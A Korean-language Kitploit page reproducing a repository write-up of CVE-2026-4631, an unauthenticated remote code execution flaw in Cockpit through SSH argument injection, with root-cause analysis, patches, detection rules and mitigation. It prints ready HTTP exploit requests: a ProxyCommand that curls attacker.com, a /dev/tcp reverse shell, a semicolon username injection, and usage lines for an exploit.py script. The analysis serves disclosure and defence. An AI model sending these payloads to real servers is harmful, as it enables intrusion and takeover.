Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/cyberheartmi9/cve-2026-4631-cockpit-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed Teaming
GitHubcyberheartmi9/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Cockpit: SSH 명령줄 인자 주입을 통한 인증되지 않은 원격 코드 실행

저장소 보기
14655개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-4631 — 코드 분석

Cockpit: SSH 명령줄 인자 주입을 통한 인증 없는 원격 코드 실행

필드세부 정보
CVE IDCVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
심각도치명적 (CVSS 9.8)
영향을 받는 버전Cockpit 327 – 359
수정된 버전Cockpit 360
CWECWE-78: OS 명령 주입
인증 필요아니요
보고자Jelle van der Waa

목차

  1. 취약점 개요
  2. 아키텍처 배경
  3. 근본 원인 분석
  4. 취약한 코드 — 파일별 분석
  5. 공격 벡터
  6. 데이터 흐름 다이어그램
  7. 패치 분석
  8. 탐지
  9. 참고 자료

1. 취약점 개요

Cockpit의 원격 로그인 기능은 사용자가 제공한 호스트 이름(URL 경로에서)과 사용자 이름(Authorization: Basic 헤더에서)을 검증이나 삭제 없이 OpenSSH ssh 바이너리에 직접 전달합니다.

포트 9090에 네트워크 접근이 가능한 인증되지 않은 공격자는 다음과 같은 단일 HTTP 요청을 구성할 수 있습니다:

  • 호스트 이름 필드를 통해 임의의 SSH 옵션 주입 (-oProxyCommand=<cmd>)
  • SSH의 %r 토큰 확장을 악용하여 사용자 이름 필드를 통해 셸 명령 주입

두 주입 지점 모두 자격 증명 검증이 완료되기 전에 실행되므로, 유효한 로그인이 필요하지 않습니다.


2. 아키텍처 배경

일반적인 원격 로그인 흐름

Auth-flow

버전 327에서 변경된 사항

버전 327 이전에는 Cockpit이 원격 연결을 위해 cockpit-ssh라는 전용 C 바이너리(libssh 기반)를 사용했습니다. 버전 327부터는 다음으로 대체되었습니다:

root@kitploit:~
python3 -m cockpit.beiboot

이는 시스템 OpenSSH ssh 클라이언트를 호출합니다. 이 변경으로 인해 새 코드 경로가 사용자 제어 값을 삭제 없이 ssh에 직접 전달하면서 취약점이 발생했습니다.


3. 근본 원인 분석

문제 1 — 호스트 이름 앞에 -- 구분자가 없음

SSH 클라이언트는 -- 구분자가 앞에 오지 않는 한 -로 시작하는 인자를 옵션으로 해석하며 호스트 이름으로 처리하지 않습니다. --가 없으면 -로 시작하는 모든 호스트 이름은 SSH 플래그로 파싱됩니다.

취약한 구성:

root@kitploit:~
ssh [options] <hostname> <remote-command>

안전한 구성:

root@kitploit:~
ssh [options] -- <hostname> <remote-command>

문제 2 — 입력 검증 없음

cockpit-ws(C 코드)와 cockpit.beiboot(Python 코드) 모두 다음을 검증하거나 삭제하지 않습니다:

  • URL 경로에서 추출된 호스트 이름
  • Authorization: Basic 헤더에서 추출된 사용자 이름

문제 3 — Python argparse 버그 (CPython #66623)

알려진 CPython 버그로 인해 argparse가 -로 시작하면서 공백을 포함하는 인자를 플래그가 아닌 위치 인자로 잘못 처리합니다. 이를 통해 -oProxyCommand=evil command 호스트 이름이 Python 인자 파싱을 통과하여 ssh에 옵션으로 도달할 수 있습니다.


4. 취약한 코드 — 파일별 분석

4.1 src/cockpit/beiboot.py — 주요 주입 지점

이것이 가장 중요한 파일입니다. via_ssh() 함수가 SSH 명령 인자 목록을 구성합니다.

취약한 코드 (패치 전)

root@kitploit:~
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Build an ssh command to run `cmd` on `dest`."""

    # Parse optional port from dest (e.g. "host:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Strip IPv6 brackets
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  VULNERABLE: No '--' before host
        # If host = "-oProxyCommand=evil", ssh treats it as an option
        destination = ['-p', port, host]

    else:
        #  VULNERABLE: Raw attacker input passed directly to ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

결과적인 SSH 호출 형태

dest = "-oProxyCommand=curl http://attacker.com/id"인 경우:

root@kitploit:~
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← cockpit 옵션
arg2: -oProxyCommand=curl http://...   ←  SSH 옵션으로 파싱됨 (호스트가 아님)
arg3: python3 -ic '# cockpit-bridge'   ← "호스트 이름"이 됨 → ProxyCommand 트리거

수정된 코드 (버전 360)

root@kitploit:~
    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  FIXED: '--' forces everything after it to be positional
        destination = ['-p', port, '--', host]

    else:
        #  FIXED: '--' separator added
        destination = ['--', dest]

4.2 src/ws/cockpitauth.c — C 레이어: 호스트 이름 추출

이 C 파일은 초기 HTTP 요청 파싱을 처리하고 beiboot 프로세스를 생성합니다.

URL에서 호스트 이름 추출 (검증 없음)

root@kitploit:~
static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // Extracts everything after "cockpit+=" from the URL path
    //  No character validation — dashes, special chars allowed
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

반환된 호스트 이름은 beiboot 생성 시 인자로 직접 전달됩니다:

root@kitploit:~
// cockpit_ws_ssh_program is the spawn command template
//  VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        No trailing '--' means hostname can be parsed
//                        as a flag by Python's argparse (CPython #66623)

버전 360에서 수정됨

root@kitploit:~
//  FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

Authorization 헤더에서 사용자 이름 추출 (검증 없음)

root@kitploit:~
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Decodes Authorization: Basic base64(user:password)
        //  No validation of 'user' — semicolons, special chars allowed
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user' is passed into credentials and eventually to 'ssh -l <user>'
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  unsanitized
                              ...);
}

4.3 vendor/ferny/src/ferny/session.py — 세 번째 주입 지점

번들로 포함된 ferny 라이브러리(SSH 상호작용에 사용)도 하위 프로세스 호출에서 동일한 -- 누락 문제가 있습니다.

취약한 코드 (패치 전)

root@kitploit:~
async def connect(self, ...):
    ...
    # SSH_ASKPASS_REQUIRE is not generally available, so use setsid
    process = await asyncio.create_subprocess_exec(
        #  VULNERABLE: hardcoded path + no '--' before destination
        *('/usr/bin/ssh', *args, destination),
        env=env,
        start_new_session=True,
        stdin=asyncio.subprocess.DEVNULL,
        stdout=asyncio.subprocess.DEVNULL,
        stderr=agent,
        preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
    )

수정된 코드 (버전 360)

root@kitploit:~
    process = await asyncio.create_subprocess_exec(
        #  FIXED: PATH lookup instead of hardcoded path + '--' added
        *('ssh', *args, '--', destination),
        env=env,
        ...
    )

4.4 containers/ws/cockpit-auth-ssh-key — 컨테이너 배포 경로

이 스크립트는 Docker/컨테이너 기반 Cockpit 배포에서 사용되는 인증 명령입니다.

root@kitploit:~
#!/usr/bin/env python3

import os, sys

# Extract host from environment
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])

#  VULNERABLE: same root cause — host passed unsanitized to beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)

이는 기본 beiboot.py 경로와는 별개의 진입점이므로, Cockpit의 컨테이너 배포는 기본 코드 경로에서 패치가 적용되더라도 독립적으로 취약합니다.


5. 공격 벡터

벡터 1 — 호스트 이름 → ProxyCommand 주입

전제 조건: Cockpit 호스트의 OpenSSH < 9.6 (OpenSSH 9.6은 셸 메타문자를 차단하는 조기 호스트 이름 검증을 도입했습니다).

HTTP 요청:

root@kitploit:~
GET /cockpit+=-oProxyCommand=<COMMAND>/login HTTP/1.1
Host: <target>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk

디코딩된 Authorization: invalid:invalid — 어떤 값이든 작동합니다.

작동 방식:

  1. cockpit-ws가 URL 경로에서 -oProxyCommand=<COMMAND>를 "호스트 이름"으로 추출합니다
  2. beiboot의 via_ssh()가 ssh -oProxyCommand=<COMMAND> python3 -ic '# cockpit-bridge'를 구성합니다
  3. SSH가 -oProxyCommand=<COMMAND>를 옵션(호스트가 아님)으로 파싱합니다
  4. SSH가 python3 -ic '# cockpit-bridge'를 호스트 이름으로 사용합니다
  5. SSH가 해당 "호스트 이름"에 연결할 때 <COMMAND>를 ProxyCommand로 실행합니다
  6. <COMMAND>가 cockpit-ws 프로세스 사용자로 실행됩니다

예시 — OOB 콜백:

root@kitploit:~
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1

디코딩된 ProxyCommand: curl http://attacker.com/id``

예시 — 리버스 셸:

root@kitploit:~
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1

디코딩된 ProxyCommand: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1


벡터 2 — 사용자 이름 → %r 토큰 주입

전제 조건: 대상의 ssh_config에 %r 토큰(원격 사용자 이름)을 사용하는 Match exec 지시문이 포함되어 있어야 합니다.

취약한 ssh_config 예시:

root@kitploit:~
Match exec "/usr/bin/test %r = blocked_user"
    ProxyCommand /bin/false

HTTP 요청:

root@kitploit:~
GET /cockpit+=legitimate-host/login HTTP/1.1
Host: <target>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk

디코딩된 Authorization: x; touch /tmp/pwned; #:invalid

추출된 사용자 이름: x; touch /tmp/pwned; #

작동 방식:

  1. SSH가 Match exec 명령을 실행하기 전에 %r을 사용자 이름으로 확장합니다
  2. 셸이 수신하는 내용: /usr/bin/test x; touch /tmp/pwned; # = blocked_user
  3. 셸이 세미콜론을 해석합니다: touch /tmp/pwned를 실행한 후 나머지를 무시합니다
  4. SSH는 이후 사용자 이름 형식을 거부합니다 — 하지만 명령은 이미 실행되었습니다

6. 데이터 흐름 다이어그램

Auth-bypass


7. 패치 분석

수정은 최소한입니다 — SSH가 호출되는 모든 위치에서 대상 인자 앞에 --(POSIX 옵션 종료 구분자)를 추가하는 것입니다.

패치 1 — src/cockpit/beiboot.py (커밋 9d0695647)

root@kitploit:~
- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]

- destination = [dest]
+ destination = ['--', dest]

패치 2 — src/ws/cockpitauth.c (커밋 9d0695647)

root@kitploit:~
- const gchar *cockpit_ws_ssh_program =
-     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

패치 3 — vendor/ferny/src/ferny/session.py (커밋 44ec511c99)

root@kitploit:~
- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),

--가 문제를 해결하는 이유

-- 토큰은 인자 파서(Python argparse와 OpenSSH의 옵션 파서 모두)에게 이후의 모든 토큰이 옵션이 아닌 위치 인자임을 알려줍니다. -- 이후에는 -oProxyCommand=evil과 같은 값이 리터럴 호스트 이름 문자열로 처리되며, SSH는 이를 유효하지 않은 것으로 거부합니다 — 아무것도 실행되지 않습니다.


8. 탐지

네트워크 수준 탐지

경로 구성 요소에 SSH 옵션 구문이 포함된 Cockpit 로그인 엔드포인트에 대한 HTTP 요청을 찾으십시오:

root@kitploit:~
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

특히 다음을 주시하십시오:

  • URL 경로의 -oProxyCommand= (벡터 1)
  • Authorization: Basic 디코딩 값의 세미콜론 (벡터 2)

로그 탐지 (journald)

root@kitploit:~
# Check for beiboot spawn with suspicious arguments
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"

# Check SSH invocations from cockpit-ws user
journalctl _COMM=ssh | grep -v "^--$"

버전 확인

root@kitploit:~
# Check if installed version is vulnerable
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# Vulnerable if version is between 327 and 359 inclusive

rpm -q cockpit-ws
# Same version check applies

9. 공격 벡터

단일 대상 스캔

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username

Username injection

파일에서 여러 대상 스캔

root@kitploit:~
python3 exploit.py --file url.txt --vector username

Username injection

OOB를 사용한 탐지

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

Username injection

공격 벡터 1 — 사용자 이름 → %r 토큰 주입

root@kitploit:~
python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

Username injection

완화 조치 (즉시 패치가 불가능한 경우)

/etc/cockpit/cockpit.conf에 다음을 추가하십시오:

root@kitploit:~
[WebService]
LoginTo = false

이렇게 하면 원격 로그인 기능이 완전히 비활성화되어 beiboot 코드 경로가 트리거되는 것을 방지합니다.


10. 참고 자료

리소스URL
OSS-Security 공개https://www.openwall.com/lists/oss-security/2026/04/10/5
GitHub 보안 권고https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
Bugzilla 이슈https://bugzilla.redhat.com/show_bug.cgi?id=2450246
수정 커밋 (cockpit)https://github.com/cockpit-project/cockpit/commit/9d0695647
수정 커밋 (ferny)https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
CPython argparse 버그https://github.com/python/cpython/issues/66623
OpenSSH 9.6 호스트 이름 검증https://github.com/openssh/openssh-portable/commit/7ef3787
도구 다운로드